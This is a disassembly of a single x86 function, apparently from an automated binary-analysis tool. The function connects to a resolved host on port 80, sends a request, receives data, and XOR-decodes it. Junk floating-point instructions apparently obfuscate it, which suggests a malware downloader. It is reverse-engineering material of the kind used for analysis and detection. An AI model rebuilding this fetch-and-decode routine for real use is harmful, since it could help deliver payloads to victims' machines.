Function at 0x408480
Capabilities:
Initialize winsock library

Disassembly:
push ebp
lea ebp, [esp - 0x1440]
mov eax, 0x1440
call fcn.0040c4f0
push 0xffffffffffffffff
push 0x41e41b
mov eax, dword fs:[0]
push eax
sub esp, 0x40
mov eax, dword [0x426040]
xor eax, ebp
mov dword [ebp + 0x143c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov eax, dword [ebp + 0x144c]
mov ecx, dword [ebp + 0x1450]
mov dword [ebp - 0x18], eax
xor eax, eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 4], eax
mov dword [ebp + 0x1b8], 0xf
mov dword [ebp + 0x1b4], eax
mov byte [ebp + 0x1a4], al
fldz
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x24], eax
fst qword [ebp - 0x4c]
fldz
xor edx, edx
fst dword [ebp - 0x30]
mov byte [ebp + 0x11bc], dl
mov word [ebp - 0x2c], dx
fxch st(1)
mov dword [ebp - 0x1c], eax
fstp qword [ebp - 0x44]
mov ecx, 1
mov byte [ebp - 4], cl
fst dword [ebp - 0x38]
fstp dword [ebp - 0x3c]
add dword [ebp - 0x24], ecx
mov eax, dword [ebp - 0x24]
mov edx, dword [0x4237f8]
lea eax, [edx + eax + 0x147cc8a8]
mov dx, word [0x4234d8]
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
movsx eax, dx
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
fsub dword [0x4230e4]
fucompp
fnstsw ax
fld dword [0x4230e4]
fld1
fsub st(1), st(0)
fxch st(1)
fstp dword [0x4230e4]
add dword [0x4237f8], ecx
test ah, 0x44
jnp 0x4085c5
movzx edx, word [0x423800]
movsx eax, dx
movzx edx, word [0x423c78]
movsx edx, dx
sub eax, edx
mov edx, dword [ebp - 0x20]
add word [0x423c78], cx
add eax, 0x9b36e480
cmp eax, edx
jle 0x4085a9
fld dword [0x41f8f8]
fstp dword [0x4249c4]
jmp 0x4085c5
mov ax, word [0x4233ec]
fld qword [0x4248f8]
fstp st(0)
fld qword [0x4248f8]
fadd st(1)
fstp qword [0x4248f8]
mov edi, dword [ebp + 0x1448]
mov eax, edi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4085d0
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x14], ecx
fild dword [ebp - 0x14]
sub eax, edx
mov ebx, eax
fadd qword [0x425718]
mov edx, dword [ebp - 0x1c]
dec dword [ebp - 0x1c]
add edx, 0x4e34b2e4
mov dword [ebp - 0x14], edx
fild dword [ebp - 0x14]
fcompp
fnstsw ax
test ah, 0x41
jp 0x408611
fld qword [0x41f8f0]
fstp qword [0x423ca8]
cmp ebx, 0x7f
jg 0x408ed7
fld dword [ebp - 0x30]
xor esi, esi
fsub st(1)
fstp dword [ebp - 0x30]
fld dword [ebp - 0x30]
fadd qword [0x41f8e8]
fadd qword [ebp - 0x4c]
fstp qword [ebp - 0x4c]
fld qword [0x41f8e0]
fld qword [0x41f8d8]
cmp esi, ebx
jg 0x40870f
inc dword [ebp - 0x2c]
mov eax, dword [0x4248a8]
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
fadd dword [0x423cb4]
mov cx, word [ebp - 0x2c]
movsx edx, cx
mov dword [ebp - 0x14], edx
fild dword [ebp - 0x14]
fsubp st(1)
fld qword [0x425648]
fsub st(3)
fcompp
fnstsw ax
fld qword [0x425648]
fadd st(3)
fstp qword [0x425648]
fld dword [0x423cb4]
fadd st(3)
fstp dword [0x423cb4]
test ah, 0x41
jne 0x4086c0
fld qword [0x4233c8]
fucomp st(1)
fnstsw ax
fld qword [0x4233c8]
fadd st(3)
fstp qword [0x4233c8]
test ah, 0x44
jnp 0x4086c0
fld dword [ebp - 0x3c]
call fcn.0040b140
mov word [ebp - 0x2c], ax
mov al, byte [esi + edi]
mov byte [ebp + esi + 0x13bc], al
cmp al, 0x2f
jne 0x408709
fstp st(1)
mov eax, esi
fstp st(0)
fld dword [ebp - 0x30]
fmul qword [0x4236d0]
fstp dword [ebp - 0x30]
fadd qword [0x4236d0]
mov byte [ebp + esi + 0x13bc], 0
fstp qword [0x4236d0]
cmp eax, ebx
jg 0x408715
mov dl, byte [eax + edi]
mov ecx, eax
sub ecx, esi
mov byte [ebp + ecx + 0x11bc], dl
inc eax
jmp 0x4086f4
inc esi
jmp 0x40863f
fstp st(2)
fstp st(0)
fstp st(0)
fld dword [ebp - 0x30]
lea eax, [ebp + 0x11bc]
fadd qword [0x423740]
lea edx, [eax + 1]
fstp qword [0x423740]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408730
mov edi, dword [ebp - 0x18]
sub eax, edx
mov edx, eax
mov eax, edi
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408743
sub eax, esi
add eax, edx
cmp eax, 0x1ff
jbe 0x408776
cmp dword [ebp + 0x1b8], 0x10
jb 0x408ed9
mov eax, dword [ebp + 0x1a4]
push eax
call fcn.0040abc2
add esp, 4
jmp 0x408ed9
fld qword [ebp - 0x4c]
mov eax, edi
fstp st(0)
mov edx, eax
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408780
lea edi, [ebp + 0x11bc]
sub eax, edx
dec edi
mov cl, byte [edi + 1]
inc edi
test cl, cl
jne 0x408790
fld dword [0x41f8d0]
mov ecx, eax
shr ecx, 2
mov esi, edx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
push 5
rep movsb byte es:[edi], byte [esi]
fstp dword [0x425568]
push 0x423c98
call fcn.00401ab0
dec dword [ebp - 0x20]
mov ecx, dword [ebp - 0x20]
movzx edx, word [0x42311c]
sub ecx, 0x68da93b9
add esp, 8
imul ecx, edx
mov esi, eax
mov word [0x42311c], cx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4087e5
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00408260
xor eax, eax
mov word [ebp - 0x18], ax
xor ebx, ebx
mov dword [esi], eax
push esi
mov dword [ebp - 0x14], ebx
mov byte [esi + 4], al
call fcn.0040b02e
lea eax, [ebp + 0x11bc]
add esp, 4
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408820
sub eax, edx
push eax
lea ecx, [ebp + 0x11bc]
push ecx
lea ecx, [ebp + 0x1a0]
call fcn.00408340
fld qword [0x425618]
fld qword [ebp - 0x4c]
push 0x32
fsub qword [0x41f8c8]
push 0x4233fc
fadd qword [0x41f8c0]
fsubp st(1)
fstp qword [0x425618]
call fcn.00401ab0
add esp, 8
mov esi, eax
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408870
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00408340
mov edx, dword [0x4237fc]
mov ecx, dword [ebp - 0x24]
mov eax, 0x9e7314ba
sub eax, edx
mov edx, 0xc7064c5b
mov edi, 1
add dword [ebp - 0x24], edi
sub edx, ecx
cmp eax, edx
je 0x4088bc
mov eax, dword [0x423764]
mov ecx, dword [ebp - 0x34]
add eax, 0x3a40bca5
imul ecx, eax
mov dword [ebp - 0x34], ecx
push 0x32
xor edx, edx
push ebx
mov word [ebp - 0x18], dx
push esi
mov dword [ebp - 0x14], ebx
call fcn.0040b0c0
push esi
call fcn.0040b02e
lea eax, [ebp + 0x13bc]
add esp, 0x10
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4088e0
sub eax, edx
push eax
lea eax, [ebp + 0x13bc]
push eax
lea ecx, [ebp + 0x1a0]
call fcn.00408340
push 5
push 0x425654
call fcn.00401ab0
add esp, 8
add dword [ebp - 0x1c], 0x198cf7f2
mov esi, eax
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408917
sub eax, edx
push eax
push esi
lea ecx, [ebp + 0x1a0]
call fcn.00408340
xor eax, eax
xor ecx, ecx
mov word [ebp - 0x18], cx
mov dword [esi], eax
mov dword [ebp - 0x14], ebx
push esi
mov byte [esi + 4], al
call fcn.0040b02e
add dword [0x4230f0], edi
mov edx, dword [0x4230f0]
add esp, 4
lea eax, [ebp]
push eax
push 0x202
mov word [0x4234f4], dx
call fcn.0040a952
test eax, eax
jne 0x408a00
push 6
push edi
push 2
call sub.WS2_32.dll_socket
add dword [ebp - 0x2c], edi
mov edx, dword [0x4236d8]
mov esi, eax
mov ax, word [ebp - 0x2c]
movsx ecx, ax
add edx, 0x58e05cca
mov dword [ebp - 0x18], edx
sub ecx, 0x77eb6e6
mov dword [ebp - 0x14], esi
fild dword [ebp - 0x18]
mov dword [ebp - 0x18], ecx
fild dword [ebp - 0x18]
fsub qword [ebp - 0x44]
fucompp
fnstsw ax
fld qword [ebp - 0x44]
fadd qword [0x41f358]
fstp qword [ebp - 0x44]
test ah, 0x44
jp 0x4089e7
fld dword [0x42344c]
fld qword [ebp - 0x4c]
mov dx, word [0x423c6c]
fadd qword [0x41f8b8]
movsx eax, dx
mov dword [ebp - 0x18], eax
fild dword [ebp - 0x18]
faddp st(1)
fsubp st(1)
fstp dword [0x42344c]
cmp esi, 0xffffffff
jne 0x408a21
fld dword [0x4230f8]
fadd dword [ebp - 0x38]
fstp dword [0x4230f8]
call sub.WS2_32.dll_WSACleanup
cmp dword [ebp + 0x1b8], 0x10
jb 0x408ed9
mov ecx, dword [ebp + 0x1a4]
push ecx
call fcn.0040abc2
add esp, 4
jmp 0x408ed9
cmp dword [ebp + 0x1458], ebx
je 0x408a42
push 4
lea edx, [ebp + 0x1458]
push edx
push 0x1006
push 0xffff
push esi
call sub.WS2_32.dll_setsockopt
add word [0x425578], di
fld dword [0x423cd8]
mov ax, word [0x425578]
movsx ecx, ax
mov edx, 0x5770a3b6
sub edx, ecx
mov dword [ebp - 0x18], edx
lea eax, [ebp + 0x13bc]
push eax
fisub dword [ebp - 0x18]
fstp dword [0x423cd8]
call sub.WS2_32.dll_gethostbyname
movzx edx, word [0x42562c]
mov ecx, eax
sub edx, 0x15b87979
mov word [0x42562c], dx
cmp ecx, ebx
je 0x408755
mov ax, word [0x423090]
mov edx, 2
mov word [ebp + 0x190], dx
movsx edx, ax
add edx, 0x1a3c9c13
mov dword [ebp - 0x18], edx
or edx, 0xffffffff
fild dword [ebp - 0x18]
fld dword [ebp - 0x30]
add word [0x423090], dx
fcompp
fnstsw ax
test ah, 5
jp 0x408ae8
mov eax, dword [ebp - 0x1c]
mov edi, dword [ebp - 0x1c]
sub eax, edi
mov edi, dword [0x4236a4]
add eax, edi
mov edi, dword [ebp - 0x34]
imul edi, eax
mov dword [ebp - 0x34], edi
add dword [ebp - 0x1c], edx
mov ecx, dword [ecx + 0xc]
mov edx, dword [ecx]
mov eax, dword [edx]
push eax
call sub.WS2_32.dll_inet_ntoa
push eax
call sub.WS2_32.dll_inet_addr
push 0x50
mov dword [ebp + 0x194], eax
call sub.WS2_32.dll_htons
mov edi, 0x10
push edi
lea ecx, [ebp + 0x190]
push ecx
push esi
mov word [ebp + 0x192], ax
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
jne 0x408b47
cmp dword [ebp + 0x1b8], edi
jb 0x408ed9
mov edx, dword [ebp + 0x1a4]
push edx
call fcn.0040abc2
add esp, 4
jmp 0x408ed9
mov eax, dword [ebp + 0x1a4]
cmp dword [ebp + 0x1b8], edi
jae 0x408b5b
lea eax, [ebp + 0x1a4]
mov ecx, dword [ebp + 0x1b4]
push ebx
push ecx
push eax
push esi
call sub.WS2_32.dll_send
cmp eax, dword [ebp + 0x1b4]
jb 0x408b27
mov ecx, dword [ebp - 0x28]
push ebx
push 0x41f8b0
call fcn.00408260
fld dword [0x42347c]
fld dword [0x4233e8]
or edi, 0xffffffff
fucompp
mov ebx, edi
fnstsw ax
test ah, 0x44
jp 0x408bbc
mov eax, dword [str.Jp]
cmp eax, 0xec85cb39
je 0x408c16
movzx ecx, word [0x424a20]
add ecx, 0x15110f14
mov word [0x424a20], cx
jmp 0x408c16
add word [0x423c10], di
mov eax, dword [0x423434]
mov edx, dword [0x4248cc]
mov cx, word [0x423c10]
lea eax, [edx + eax - 0x20d8f78b]
movsx edx, cx
mov ecx, 0xdf0ec688
sub ecx, edx
cmp ecx, eax
jne 0x408c16
fld dword [ebp - 0x3c]
fsub qword [0x423c60]
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x1c], edx
fild dword [ebp - 0x1c]
faddp st(1)
fstp qword [ebp - 0x4c]
add dword [ebp - 0x20], edi
fld qword [0x423c60]
fadd qword [0x41f358]
fstp qword [0x423c60]
mov ecx, dword [ebp - 0x14]
push 0
push 0x1000
lea eax, [ebp + 0x1bc]
push eax
push ecx
call sub.WS2_32.dll_recv
test eax, eax
jle 0x408de3
mov ecx, dword [ebp - 0x28]
push eax
lea edx, [ebp + 0x1bc]
push edx
call fcn.00408340
test edi, edi
jge 0x408d5b
push 5
push 0x425654
call fcn.00401ab0
fld dword [ebp - 0x38]
mov esi, eax
mov eax, dword [ebp - 0x34]
add esp, 8
add eax, dword [ebp - 0x34]
mov dword [ebp - 0x38], eax
fisub dword [ebp - 0x38]
mov eax, esi
lea edx, [eax + 1]
fstp dword [ebp - 0x38]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x408c75
mov ecx, dword [ebp - 0x28]
sub eax, edx
push eax
push 0
push esi
call fcn.00404910
mov edi, eax
xor eax, eax
xor ecx, ecx
mov word [ebp - 0x18], cx
mov dword [esi], eax
push esi
mov dword [ebp - 0x20], eax
mov byte [esi + 4], al
call fcn.0040b02e
add esp, 4
test edi, edi
jl 0x408d49
fld dword [ebp - 0x30]
fsubr qword [0x41f8a8]
call fcn.0040b140
mov word [0x423138], ax
mov edx, dword [0x425a74]
mov eax, dword [ebp - 0x28]
imul edx, edx, 0x422d83a
push eax
add edi, 4
mov dword [0x425a74], edx
call fcn.004075b0
mov ebx, eax
add esp, 4
mov dword [ebp - 0x1c], ebx
test ebx, ebx
jge 0x408d49
push 0xb
push 0x4230b4
call fcn.00401ab0
mov ecx, dword [ebp - 0x28]
add esp, 8
mov esi, eax
push 0
push esi
call fcn.00406d10
push esi
push 0xb
mov ebx, eax
call fcn.004016c0
mov cx, word [0x423c10]
mov edx, dword [0x423764]
movsx eax, cx
sub edx, eax
mov dword [ebp - 0x20], edx
add esp, 8
fild dword [ebp - 0x20]
fmul qword [0x423c70]
fstp qword [0x423c70]
dec dword [0x423764]
test ebx, ebx
jge 0x408de3
mov ebx, dword [ebp - 0x1c]
fld qword [0x425618]
fadd qword [0x41f8a0]
fstp qword [0x424928]
test ebx, ebx
jl 0x408d6b
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x14]
sub eax, edi
cmp eax, ebx
jae 0x408de3
cmp dword [ebp + 0x1458], 0
je 0x408c16
fld qword [0x4230e8]
mov ecx, dword [ebp - 0x24]
fsub qword [0x41f898]
add ecx, 0x1ce587de
mov dword [ebp - 0x20], ecx
fadd qword [0x41f890]
fild dword [ebp - 0x20]
fadd dword [ebp - 0x38]
fucompp
fnstsw ax
fld qword [0x4230e8]
fld1
fadd st(1), st(0)
fxch st(1)
fstp qword [0x4230e8]
test ah, 0x44
jp 0x408dd1
fsubr qword [str.51xb]
fstp qword [str.51xb]
fld qword [str.51xb]
fmul qword [ebp - 0x44]
fstp qword [ebp - 0x44]
jmp 0x408dd3
fstp st(0)
mov edx, dword [ebp - 0x28]
cmp dword [edx + 0x14], 0x4000
jb 0x408c16
mov eax, dword [ebp - 0x14]
push eax
call sub.WS2_32.dll_closesocket
call sub.WS2_32.dll_WSACleanup
inc dword [0x4233c0]
mov ecx, dword [0x4233c0]
add ecx, 0x46eb9830
mov dword [ebp - 0x14], ecx
fild dword [ebp - 0x14]
fadd qword [0x4230a8]
fstp qword [0x4230a8]
test edi, edi
jl 0x408e60
push edi
mov edi, dword [ebp - 0x28]
push 0
mov ecx, edi
call fcn.00406c80
fld dword [0x423c88]
mov dx, word [0x4233ac]
movsx eax, dx
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
faddp st(1)
fld dword [0x423518]
faddp st(1)
fsubr dword [ebp - 0x3c]
fstp dword [ebp - 0x3c]
fld dword [0x423c88]
fsub qword [0x41f358]
fstp dword [0x423c88]
jmp 0x408e63
mov edi, dword [ebp - 0x28]
mov bl, byte [ebp + 0x1454]
test bl, bl
je 0x408a00
fld dword [0x4248b4]
xor esi, esi
fadd qword [0x41f888]
fstp dword [0x4248b4]
cmp esi, dword [edi + 0x14]
jae 0x408a00
inc dword [ebp - 0x24]
mov cx, word [ebp - 0x2c]
movsx edx, cx
mov eax, 0x9e11daca
sub eax, edx
add eax, dword [ebp - 0x24]
mov dword [ebp - 0x14], eax
fild dword [ebp - 0x14]
fmul qword [ebp - 0x44]
fstp qword [ebp - 0x44]
cmp esi, dword [edi + 0x14]
jbe 0x408eb8
call fcn.0040b821
cmp dword [edi + 0x18], 0x10
jb 0x408ec7
mov eax, dword [edi + 4]
xor byte [eax + esi], bl
inc esi
jmp 0x408e85
xor byte [edi + esi + 4], bl
lea eax, [edi + 4]
inc esi
jmp 0x408e85
fstp st(0)
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp + 0x143c]
xor ecx, ebp
call fcn.0040b675
add ebp, 0x1440
mov esp, ebp
pop ebp
ret